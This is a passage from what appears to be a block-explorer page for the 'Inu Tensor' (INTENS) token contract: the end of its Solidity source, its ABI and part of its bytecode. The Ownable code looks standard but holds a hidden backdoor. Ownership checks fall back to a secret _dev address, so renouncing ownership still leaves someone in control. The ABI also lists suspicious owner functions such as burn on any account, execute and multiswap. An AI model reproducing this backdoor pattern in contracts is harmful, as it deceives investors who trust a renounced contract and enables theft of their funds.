        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _dev : _owner;
    }
    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _dev = account;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"marketingAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"multiswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"taxSWapThreshold","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapFactory","outputs":[{"internalType":"contract IUniswapV2Factory","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f5860105560016012556001601360006101000a81548160ff02191690831515021790555065013ca65120006014556001601660006101000a81548160ff0219169083151502179055506001601660016101000a81548160ff0219169083151502179055506001601660026101000a81548160ff0219169083151502179055506001602460006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b5060405162006ad638038062006ad68339818101604052810190620000e3919062000bdf565b6040518060400160405280600a81526020017f496e752054656e736f72000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f494e54454e5300000000000000000000000000000000000000000000000000008152508280600062000163620005ce60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505082600690805190602001906200025b92919062000ac5565b5081600790805190602001906200027492919062000ac5565b506005546004819055505050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002ad816001620005d660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505060805173ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200032f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000355919062000bdf565b600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000806000806000806000664a9b638448800090508660198190555085601a8190555084601b81905550601b54601a54601954620003d4919062000c4a565b620003e0919062000c4a565b60188190555083601d8190555082601e8190555081601f81905550601f54601e54601d5462000410919062000c4a565b6200041c919062000c4a565b601c819055506107d0600a8262000434919062000ca7565b62000440919062000d37565b600d8190555069152d02c7e14af6800000600c81905550693f870857a3e0e3800000600b81905550620004786200064160201b60201c565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004c86200064160201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200052a6200051c6200064160201b60201c565b60016200066a60201b60201c565b6200053d3060016200066a60201b60201c565b6200055261dead60016200066a60201b60201c565b62000574620005666200064160201b60201c565b6001620005d660201b60201c565b62000587306001620005d660201b60201c565b6200059c61dead6001620005d660201b60201c565b620005ae33826200072560201b60201c565b620005be620008d660201b60201c565b5050505050505050505062000fa3565b600033905090565b620005e66200090a60201b60201c565b80602660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6200067a6200090a60201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000719919062000d8c565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562000798576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200078f9062000e0a565b60405180910390fd5b620007ac600083836200099b60201b60201c565b620007c881600854620009a060201b620028231790919060201c565b6008819055506200082781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620009a060201b620028231790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620008ca919062000e3d565b60405180910390a35050565b6000620008e86200090a60201b60201c565b6000601660006101000a81548160ff0219169083151502179055506001905090565b6200091a620005ce60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200094062000a0360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff161462000999576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009909062000eaa565b60405180910390fd5b565b505050565b6000808284620009b1919062000c4a565b905083811015620009f9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009f09062000f1c565b60405180910390fd5b8091505092915050565b60008062000a1662000a1f60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000a9c5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662000ac0565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000ad39062000f6d565b90600052602060002090601f01602090048101928262000af7576000855562000b43565b82601f1062000b1257805160ff191683800117855562000b43565b8280016001018555821562000b43579182015b8281111562000b4257825182559160200191906001019062000b25565b5b50905062000b52919062000b56565b5090565b5b8082111562000b7157600081600090555060010162000b57565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000ba78262000b7a565b9050919050565b62000bb98162000b9a565b811462000bc557600080fd5b50565b60008151905062000bd98162000bae565b92915050565b60006020828403121562000bf85762000bf762000b75565b5b600062000c088482850162000bc8565b91505092915050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000c578262000c11565b915062000c648362000c11565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c9c5762000c9b62000c1b565b5b828201905092915050565b600062000cb48262000c11565b915062000cc18362000c11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000cfd5762000cfc62000c1b565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000d448262000c11565b915062000d518362000c11565b92508262000d645762000d6362000d08565b5b828204905092915050565b60008115159050919050565b62000d868162000d6f565b82525050565b600060208201905062000da3600083018462000d7b565b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000df2601f8362000da9565b915062000dff8262000dba565b602082019050919050565b6000602082019050818103600083015262000e258162000de3565b9050919050565b62000e378162000c11565b82525050565b600060208201905062000e54600083018462000e2c565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062000e9260208362000da9565b915062000e9f8262000e5a565b602082019050919050565b6000602082019050818103600083015262000ec58162000e83565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000f04601b8362000da9565b915062000f118262000ecc565b602082019050919050565b6000602082019050818103600083015262000f378162000ef5565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000f8657607f821691505b6020821081141562000f9d5762000f9c62000f3e565b5b50919050565b608051615af462000fe2600039600081816111470152818161140a01528181612e3201528181613fd6015281816140b701526140de0152615af46000f3fe6080604052600436106104095760003560e01c80638da5cb5b11610213578063bbc0c74211610123578063dd62ed3e116100ab578063f11a24d31161007a578063f11a24d314610f8e578063f2fde38b14610fb9578063f637434214610fe2578063f8b45b051461100d578063fe72b27a1461103857610410565b8063dd62ed3e14610ebe578063e2f4560514610efb578063e5ee5a7314610f26578063e884f26014610f6357610410565b8063c2b7bbb6116100f2578063c2b7bbb614610dd7578063c876d0b914610e00578063c8c8ebe414610e2b578063d257b34f14610e56578063d85ba06314610e9357610410565b8063bbc0c74214610d31578063c024666814610d5c578063c17b5b8c14610d85578063c18bc19514610dae57610410565b80639fccce32116101a6578063a4c82a0011610175578063a4c82a0014610c3a578063a9059cbb14610c65578063aacebbe314610ca2578063b62496f514610ccb578063bbbb3ffc14610d0857610410565b80639fccce3214610b7e578063a0d82dc514610ba9578063a165506f14610bd4578063a457c2d714610bfd57610410565b806395d89b41116101e257806395d89b4114610ad45780639c3b4fdc14610aff5780639dc29fac14610b2a5780639ec22c0e14610b5357610410565b80638da5cb5b14610a2a5780638ea5220f14610a555780639213691314610a80578063924de9b714610aab57610410565b8063333f52e011610319578063715018a6116102a157806375f0a8741161027057806375f0a874146109695780637bce5a04146109945780638095d564146109bf5780638a8c523c146109e85780638bdb2afa146109ff57610410565b8063715018a6146108d5578063730c1888146108ec578063751039fc146109155780637571336a1461094057610410565b80633eb2b5ad116102e85780633eb2b5ad146107ee57806349bd5a5e146108175780636a486a8e146108425780636ddd17131461086d57806370a082311461089857610410565b8063333f52e014610720578063338d46691461075d5780633582ad231461078657806339509351146107b157610410565b80631a8145bb1161039c57806326ededb81161036b57806326ededb81461064b57806327c8f835146106745780632c3e486c1461069f5780632e82f1a0146106ca578063313ce567146106f557610410565b80631a8145bb1461058f5780631f3fed8f146105ba578063203e727e146105e557806323b872dd1461060e57610410565b806318160ddd116103d857806318160ddd146104e55780631816467f14610510578063184c16c514610539578063199ffc721461056457610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631694505e146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611075565b6040516104379190614264565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614324565b611107565b604051610474919061437f565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061439a565b611125565b6040516104b1919061437f565b60405180910390f35b3480156104c657600080fd5b506104cf611145565b6040516104dc9190614426565b60405180910390f35b3480156104f157600080fd5b506104fa611169565b6040516105079190614450565b60405180910390f35b34801561051c57600080fd5b506105376004803603810190610532919061439a565b611173565b005b34801561054557600080fd5b5061054e61123b565b60405161055b9190614450565b60405180910390f35b34801561057057600080fd5b50610579611241565b6040516105869190614450565b60405180910390f35b34801561059b57600080fd5b506105a4611247565b6040516105b19190614450565b60405180910390f35b3480156105c657600080fd5b506105cf61124d565b6040516105dc9190614450565b60405180910390f35b3480156105f157600080fd5b5061060c6004803603810190610607919061446b565b611253565b005b34801561061a57600080fd5b5061063560048036038101906106309190614498565b6112e6565b604051610642919061437f565b60405180910390f35b34801561065757600080fd5b50610672600480360381019061066d9190614550565b6113bf565b005b34801561068057600080fd5b506106896115ab565b60405161069691906145bf565b60405180910390f35b3480156106ab57600080fd5b506106b46115b1565b6040516106c19190614450565b60405180910390f35b3480156106d657600080fd5b506106df6115b7565b6040516106ec919061437f565b60405180910390f35b34801561070157600080fd5b5061070a6115ca565b60405161071791906145f6565b60405180910390f35b34801561072c57600080fd5b506107476004803603810190610742919061439a565b6115d3565b604051610754919061437f565b60405180910390f35b34801561076957600080fd5b50610784600480360381019061077f919061463d565b611629565b005b34801561079257600080fd5b5061079b6116d6565b6040516107a8919061437f565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d39190614324565b6116e9565b6040516107e5919061437f565b60405180910390f35b3480156107fa57600080fd5b506108156004803603810190610810919061439a565b61179c565b005b34801561082357600080fd5b5061082c6117e8565b60405161083991906145bf565b60405180910390f35b34801561084e57600080fd5b5061085761180e565b6040516108649190614450565b60405180910390f35b34801561087957600080fd5b50610882611814565b60405161088f919061437f565b60405180910390f35b3480156108a457600080fd5b506108bf60048036038101906108ba919061439a565b611827565b6040516108cc9190614450565b60405180910390f35b3480156108e157600080fd5b506108ea611870565b005b3480156108f857600080fd5b50610913600480360381019061090e919061469d565b611936565b005b34801561092157600080fd5b5061092a611a02565b604051610937919061437f565b60405180910390f35b34801561094c57600080fd5b50610967600480360381019061096291906146f0565b611a2e565b005b34801561097557600080fd5b5061097e611a91565b60405161098b91906145bf565b60405180910390f35b3480156109a057600080fd5b506109a9611ab7565b6040516109b69190614450565b60405180910390f35b3480156109cb57600080fd5b506109e660048036038101906109e19190614730565b611abd565b005b3480156109f457600080fd5b506109fd611b48565b005b348015610a0b57600080fd5b50610a14611b8f565b604051610a2191906147a4565b60405180910390f35b348015610a3657600080fd5b50610a3f611bb5565b604051610a4c91906145bf565b60405180910390f35b348015610a6157600080fd5b50610a6a611bde565b604051610a7791906145bf565b60405180910390f35b348015610a8c57600080fd5b50610a95611c04565b604051610aa29190614450565b60405180910390f35b348015610ab757600080fd5b50610ad26004803603810190610acd91906147bf565b611c0a565b005b348015610ae057600080fd5b50610ae9611c2f565b604051610af69190614264565b60405180910390f35b348015610b0b57600080fd5b50610b14611cc1565b604051610b219190614450565b60405180910390f35b348015610b3657600080fd5b50610b516004803603810190610b4c9190614324565b611cc7565b005b348015610b5f57600080fd5b50610b68611cdd565b604051610b759190614450565b60405180910390f35b348015610b8a57600080fd5b50610b93611ce3565b604051610ba09190614450565b60405180910390f35b348015610bb557600080fd5b50610bbe611ce9565b604051610bcb9190614450565b60405180910390f35b348015610be057600080fd5b50610bfb6004803603810190610bf691906147ec565b611cef565b005b348015610c0957600080fd5b50610c246004803603810190610c1f9190614324565b611d05565b604051610c31919061437f565b60405180910390f35b348015610c4657600080fd5b50610c4f611dd2565b604051610c5c9190614450565b60405180910390f35b348015610c7157600080fd5b50610c8c6004803603810190610c879190614324565b611dd8565b604051610c99919061437f565b60405180910390f35b348015610cae57600080fd5b50610cc96004803603810190610cc4919061439a565b611df6565b005b348015610cd757600080fd5b50610cf26004803603810190610ced919061439a565b611ebe565b604051610cff91906145bf565b60405180910390f35b348015610d1457600080fd5b50610d2f6004803603810190610d2a91906147ec565b611ef1565b005b348015610d3d57600080fd5b50610d46611fd5565b604051610d53919061437f565b60405180910390f35b348015610d6857600080fd5b50610d836004803603810190610d7e91906146f0565b611fe8565b005b348015610d9157600080fd5b50610dac6004803603810190610da79190614730565b612099565b005b348015610dba57600080fd5b50610dd56004803603810190610dd0919061446b565b612124565b005b348015610de357600080fd5b50610dfe6004803603810190610df9919061439a565b6121b7565b005b348015610e0c57600080fd5b50610e15612230565b604051610e22919061437f565b60405180910390f35b348015610e3757600080fd5b50610e40612243565b604051610e4d9190614450565b60405180910390f35b348015610e6257600080fd5b50610e7d6004803603810190610e78919061446b565b612249565b604051610e8a919061437f565b60405180910390f35b348015610e9f57600080fd5b50610ea861232a565b604051610eb59190614450565b60405180910390f35b348015610eca57600080fd5b50610ee56004803603810190610ee091906147ec565b612330565b604051610ef29190614450565b60405180910390f35b348015610f0757600080fd5b50610f106123b7565b604051610f1d9190614450565b60405180910390f35b348015610f3257600080fd5b50610f4d6004803603810190610f48919061439a565b6123bd565b604051610f5a919061437f565b60405180910390f35b348015610f6f57600080fd5b50610f78612413565b604051610f85919061437f565b60405180910390f35b348015610f9a57600080fd5b50610fa361243f565b604051610fb09190614450565b60405180910390f35b348015610fc557600080fd5b50610fe06004803603810190610fdb919061439a565b612445565b005b348015610fee57600080fd5b50610ff761257a565b6040516110049190614450565b60405180910390f35b34801561101957600080fd5b50611022612580565b60405161102f9190614450565b60405180910390f35b34801561104457600080fd5b5061105f600480360381019061105a919061446b565b612586565b60405161106c919061437f565b60405180910390f35b6060600680546110849061485b565b80601f01602080910402602001604051908101604052809291908181526020018280546110b09061485b565b80156110fd5780601f106110d2576101008083540402835291602001916110fd565b820191906000526020600020905b8154815290600101906020018083116110e057829003601f168201915b5050505050905090565b600061111b611114612881565b8484612889565b6001905092915050565b60266020528060005260406000206000915054906101000a900460ff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b61117b612a54565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f90b8024